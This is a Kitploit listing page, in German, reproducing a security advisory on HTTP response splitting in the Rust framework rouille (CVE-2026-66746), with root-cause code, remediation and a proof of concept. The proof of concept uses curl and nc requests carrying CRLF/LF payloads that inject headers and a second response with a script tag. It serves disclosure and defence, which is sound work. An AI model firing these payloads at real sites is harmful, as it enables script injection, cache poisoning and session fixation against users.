Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Vulnerability AnalysisCode AnalysisWeb Application ExploitationWeb SecurityPenetration Testing
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 23 TagenNoch nicht geprüft

Sicherheitshinweis: HTTP Response Splitting durch unvalidierte Antwort-Header-Werte (rouille)

Zugewiesene CVE-ID: CVE-2026-66746

Zusammenfassung

rouille schreibt Antwort-Header-Werte ohne Prüfung auf Wagenrücklauf oder Zeilenvorschub an den Client. Eine Anwendung, die angreiferbeeinflussten Text in einen Header-Wert einfügt, sendet dadurch zusätzliche Header oder eine vollständige zweite HTTP-Antwort über die Leitung.

Zwei Eigenschaften von rouille machen dies in gewöhnlichem Code erreichbar. Request::get_param dekodiert Prozentkodierung, sodass %0d%0a in einer Query-Zeichenkette zu einem echten CRLF wird. Und session::session kopiert den eigenen Cookie-Wert des Clients unvalidiert in Set-Cookie.

Jeder andere weit verbreitete Rust-HTTP-Stack lehnt dies auf Typebene ab: http::HeaderValue::from_str gibt für CR und LF InvalidHeaderValue zurück, weshalb hyper, axum, actix-web und warp nicht auf dieselbe Weise exponiert sind.

Betroffene Versionen

Repo-URL: https://github.com/tomaka/rouille

Erste betroffene Version0.4.0 (2016-12-14) für den folgenden Antwort-Header-Pfad
Letzte betroffene Version3.6.2 (2023-04-24), die aktuelle Version
Behoben inzum Zeitpunkt dieses Schreibens keine behobene Version

Versionen vor 0.4.0 senden Antworten über einen anderen Codepfad, der nicht untersucht wurde, daher wird für sie weder das eine noch das andere behauptet. Die unter Pfad B beschriebene session::session-Reflektion existiert ab 0.3.2 (2016-12-02).

Schweregrad

CWE-113 (Unzureichende Neutralisierung von CRLF-Sequenzen in HTTP-Headern), ein spezieller Fall von CWE-93 (CRLF-Injection).

CVSS 4.0 Basisscore 5.3 (Mittel) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Bedrohungsmodell

Pfad A erfordert einen entfernten, nicht authentifizierten Angreifer und ein Opfer, das einem vom Angreifer bereitgestellten Link folgt. Der Angreifer muss die Anwendung dazu bringen, eine beliebige, aus der Anfrage stammende Zeichenkette in einen Antwort-Header einzufügen. Das Weiterleiten auf einen next- oder return_to-Query-Parameter ist der häufige Fall.

Pfad B erfordert nur, dass die Anwendung session::session aufruft und die Session-ID liest. Der Angreifer kontrolliert seinen eigenen Cookie-Header, daher ist dies für sich genommen selbstverschuldet. Es wird zu einem Angriff auf andere, wenn ein gemeinsam genutzter Cache die geteilte Antwort speichert oder wenn es mit einer anderen Möglichkeit kombiniert wird, ein Cookie im Browser des Opfers zu setzen.

Grundursache

rouille/src/lib.rs, Zeilen 624 bis 640, reicht Werte direkt durch:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes prüft nur, ob die Bytes ASCII sind, und CR und LF sind ASCII. tiny_http-0.12.0/src/common.rs, Zeilen 166 bis 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

Der Wert wird dann ohne Maskierung geschrieben. tiny_http-0.12.0/src/response.rs, Zeilen 99 bis 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Pfad A, prozentkodierte Query-Parameter

Request::get_param dekodiert Prozent-Escapes, sodass der Aufrufer echte Steuerzeichen erhält. rouille/src/lib.rs, Zeilen 928 bis 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Pfad B, aus der Anfrage reflektierte Session-IDs

rouille/src/session.rs übernimmt den Schlüssel aus dem Cookie des Clients in Zeile 59 und interpoliert ihn in Zeilen 75 bis 81 in den Antwort-Header:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Proof of Concept

Pfad A

Schritt 1. Starten Sie einen Server, der auf einen Query-Parameter weiterleitet.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Schritt 2. Fragen Sie ihn mit %0d%0a im Parameter ab.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Ergebnis. X-Injected kommt als eigener Header an:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Schritt 3. Erweitern Sie das Payload über das Ende der Header hinaus, um eine vollständige zweite Antwort zu senden.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Ergebnis. Eine Anfrage, zwei vollständige Antworten. Die zweite trägt eine vom Angreifer gewählte Statuszeile, einen gewählten Content-Type und einen gewählten Body:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Pfad B

Schritt 1. Starten Sie einen Server, der das dokumentierte Session-Idiom verwendet.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Schritt 2. Senden Sie ein Cookie, dessen Wert ein einzelnes LF enthält. \n unten ist ein einzelner Zeilenvorschub, \r\n ein CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Ergebnis. Der Wert bricht aus Set-Cookie in eine eigene Zeile aus:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

Pfad B hat drei erwähnenswerte Einschränkungen. Nur ein einzelnes LF kommt durch, denn CRLF hätte die Header-Zeile in tiny_http beendet; der Client oder Cache muss also ein einzelnes LF als Terminator behandeln. Alles nach der Injektionsstelle trägt weiterhin das Suffix ; Max-Age=3600; Path=/; HttpOnly aus demselben format!, daher ist das Primitive ein Header mit einem festen angehängten String und kein sauberer beliebiger Header. Und der Angreifer kontrolliert nur sein eigenes Cookie. Pfad A hat keine dieser Einschränkungen.

Auswirkungen

Skriptausführung im Sicherheitskontext des Ursprungs, Cache-Poisoning, wenn ein gemeinsam genutzter Cache die injizierte Antwort für die URL des Opfers speichert, Session-Fixation durch ein injiziertes Set-Cookie sowie das Überschreiben von Sicherheits-Headern wie CSP oder CORS. Da Pfad A ein echtes CRLF erzeugt, teilen jeder Client und jeder Cache daran.

Abhilfe

Validieren Sie Header-Werte in Server::process, bevor Sie sie an tiny_http übergeben, in rouille/src/lib.rs um Zeile 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Geben Sie für die gesamte Antwort einen 500 zurück, anstatt den fehlerhaften Header zu verwerfen, damit der Fehler sichtbar wird, statt die Antwort stillschweigend zu verändern.

Validieren Sie den Session-Schlüssel auch in session::session: Weisen Sie einen Cookie-Wert zurück, der nicht [A-Za-z0-9]+ ist, und erzeugen Sie stattdessen eine neue ID. Eine Prüfung in Response::with_additional_header, with_unique_header und den redirect_*-Konstruktoren würde den Fehler an der Aufrufstelle sichtbar machen, wo der Autor der Anwendung darauf reagieren kann.

Tool herunterladen